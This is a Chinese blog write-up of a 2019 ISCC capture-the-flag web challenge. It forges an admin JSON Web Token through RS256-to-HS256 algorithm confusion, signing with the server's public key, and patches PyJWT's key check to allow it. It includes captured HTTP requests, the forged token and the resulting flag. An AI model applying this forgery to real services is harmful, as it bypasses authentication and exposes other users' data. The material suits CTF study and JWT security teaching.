浅谈Json Web Token攻击流程

May 23, 2019 WEB安全 访问: 32 次

ISCC中遇到的

在2019年ISCC中的一道题
打开网站发现有登录注册功能,登录进去看看发现没什么,在源代码中发现一个common.js,进而发现了该网站存在token

function paste(){
    var content = escape($("#content").val());
    token = window.localStorage.getItem("token");
    if (token==null||token==undefined){
        alert("u must login first");
        window.location.href = "/";
        return;
    }
    auth = "iscc19 " + token;
    $.ajax({
        url: '/paste',
        type: 'POST',
        headers:{"Authorization":auth},
        data: {"content": content},
    })
    .success(function(data) {
        result = data.result;
        if(result){
            alert("u can open it with:" + "/text/" + data.link);
        }else{
            alert("paste fail");
        }
    });
}
function getpubkey(){
    /*
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

题目提示pubkey是md5(username+password),访问一波发现自己的公钥

{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

在list处抓包

GET /list HTTP/1.1
Host: 39.100.83.188:8053
Accept: */*
X-Requested-With: XMLHttpRequest
Authorization: iscc19 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoicmFkaXNoIiwicHJpdiI6Im90aGVyIn0.CVhO15nArazWdiDSYWT0KWGvCSFFd-6jXKnHhFSUp-9O3vm0g0hLoRzU4GDwxH5rg6fu87UMhUV7of4y6J3P8ZicD9MmlmkqJql2rfEaU02u019ORGdDaGbVOtp4ojNxEcYfM8CfY-onqpLrtmXtOHPItqCSi47qgkwKSahBMgU
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Referer: http://39.100.83.188:8053/user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

解密一下Json Web Token,在线解密网站

HEADER
{
  "alg": "RS256",
  "typ": "JWT"
}
PAYLOAD:
{
  "name": "radish",
  "priv": "other"
}

到这里肯定是要把name换成admin的,

import jwt
import base64
public = open('1.txt', 'r').read()
print jwt.encode({"name": "adminsky","priv": "admin"}, key=public, algorithm='HS256')

1.txt

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK
omh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h
Kk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc
IC+LX+9V/mpyKe9R3wIDAQAB
-----END PUBLIC KEY-----

伪造admin的token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoicmFkaXNoIiwicHJpdiI6ImFkbWluIn0.eKo94kV2RolRviz9Hfh30Ar1Ddujw7el5bPvKbFKZII

替换掉即可得到admin的list

HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 1787001
Server: Werkzeug/0.14.1 Python/2.7.12
Date: Thu, 23 May 2019 15:25:16 GMT
{"links":["admin:22f1e0aa7a31422ad63480aa27711277","annevi:dd87c5b42178bdc70dd3eef9616e17c3","annevi:63e363a48ce4695e65e1f100b6334ceb","annevi:8882bc58f0eb938596d987ebce82cbf5","kev1n:13b931c473e6884329b13b4b093e8644","12end:45ac87cd726833061fb795cfaca9c78b","lamber:1e3eaf4663be6acc8c946473af241574","hhx666:bacd1cd754cf491def659f2adeb36df2","admin111:37498db886704b39303fe7194b2d9508","hhx666:5db383d6118eb55ad65f14bf1addb2e4","admin123:51fe643c690f250107eed6a731c0eebc","virus:9a0869aca5ca9b1504a3802a093e6716","admin111:2082437e271b5d1b1675e892f0766334","admin111:5f636b113022820f1a7319ebc62da5b2","kev1n:3bd66df22a74b388cbe330a927b1b98d","virus:9a74f935b4f6e99ffec812589dac1945","admin111:e2516f2657924335acaaf65776a6e3f3","logong:8a58d31abf5e2b9c22455d3434810b1e","logong:649a98534bcb7eb83fa92ead32fd3a66","logong:ee3ca4a93b010ef474d37c37b6170503","admin111:2854a6dc60d5ba72c57345a4f478067e","Iuhrey:35246ccb55e7c97476209a578f648ec5","admin111:abf556cbf384a443488fce75e80369c2","admin123:c2d755c8d10a2f645b836095a38b992e","admin111:8e4c8e1713de5f65be12cec4ff95ca72","admin111:2d9e040ea3dd7f0e96c983159b3e83df","wxmwxm:21f69de8f14c75e4d9ed2fc2124d96dd","lamber:23b6dd3da10be482f7ff546627a56852","wxmwxm:0f05af85892c8bbd623bb909cf301b88"

访问即可得到flag

{"content":"flag{cfd61b8a7397fa7c10b2ae548f5bfaef}","result":true}

修改jwt源码

def prepare_key(self, key):
        key = force_bytes(key)
        invalid_strings = [
            b'-----BEGIN PUBLIC KEY-----',
            b'-----BEGIN CERTIFICATE-----',
            b'-----BEGIN RSA PUBLIC KEY-----',
            b'ssh-rsa'
        ]
        if any([string_value in key for string_value in invalid_strings]):
            raise InvalidKeyError(
                'The specified key is an asymmetric key or x509 certificate and'
                ' should not be used as an HMAC secret.')
        return key

改为:

def prepare_key(self, key):
        key = force_bytes(key)
        return key

添加新评论